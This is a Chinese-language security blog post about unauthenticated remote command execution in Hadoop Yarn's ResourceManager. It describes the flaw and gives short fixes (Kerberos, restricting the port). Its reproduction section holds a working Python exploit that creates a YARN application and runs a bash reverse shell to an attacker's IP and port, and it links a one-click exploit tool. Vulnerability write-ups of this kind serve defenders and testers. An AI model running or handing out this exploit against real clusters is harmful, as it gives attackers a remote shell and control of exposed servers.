Hadoop Yarn RPC未授权访问漏洞


Hadoop Yarn RPC未授权访问漏洞

漏洞描述

Hadoop Yarn作为Hadoop核心组件之一,负责将资源分配至各个集群中运行各种应用程序,并调度不同集群节点上的任务执行。近日阿里云应急响应中心监测到 Hadoop Yarn RPC未授权访问漏洞在野利用事件。Hadoop Yarn默认对外开放RPC服务,攻击者可利用RPC服务执行任意命令,控制服务器。同时由于Hadoop Yarn RPC服务访问控制机制开启方式与REST API不一样,因此即使在 REST API有授权认证的情况下,RPC服务所在端口仍然可以未授权访问。阿里云应急响应中心提醒 Apache Hadoop 用户尽快采取安全措施阻止漏洞攻击。

默认页面

漏洞复现

通过ResourceManager REST API,可以让用户获取集群的相关信息。存在接口:

/ws/v1/cluster/apps/new-application
/ws/v1/cluster/apps

不推荐一键利用工具:https://github.com/cckuailong/YarnRpcRCE/releases/tag/0.0.1

EXP:Hadoop Yarn.py

import requests

target = 'http://Target:Port/'
url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
    'application-id': app_id,
    'application-name': 'get-shell',
    'am-container-spec': {
        'commands': {
            'command': '/bin/bash -i >& /dev/tcp/Your IP/Port 0>&1',
        },
    },
    'application-type': 'YARN',
}
requests.post(url, json=data)
  1. 利用new-application接口获取application-id

获取application-id

  1. apps接口POST相关反弹shell命令

反弹shell

成功

修复方案:

  • 1、Apache Hadoop官方建议用户开启Kerberos认证。
  • 2、利用安全组功能,设置 Hadoop RPC服务所在端口仅对可信地址开放。

文章作者: Taoing
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Taoing !
 上一篇
Metabase 敏感信息泄露漏洞(CVE-2021-41277) Metabase 敏感信息泄露漏洞(CVE-2021-41277)
metabase 爆出敏感信息泄露漏洞,该漏洞 CVSS3 评分高达 9.9。攻击者可在未经身份验证的情况下获取系统敏感信息。
2021-11-21
下一篇 
Apache Druid LoadData 任意文件读取漏洞 CVE-2021-36749 Apache Druid LoadData 任意文件读取漏洞 CVE-2021-36749
由于用户指定 HTTP InputSource 没有做出限制,可以通过将文件 URL 传递给 HTTP InputSource 来绕过应用程序级别的限制。攻击者可利用该漏洞在未授权情况下,构造恶意请求执行文件读取,最终造成服务器敏感性信息泄露。
2021-11-10
  目录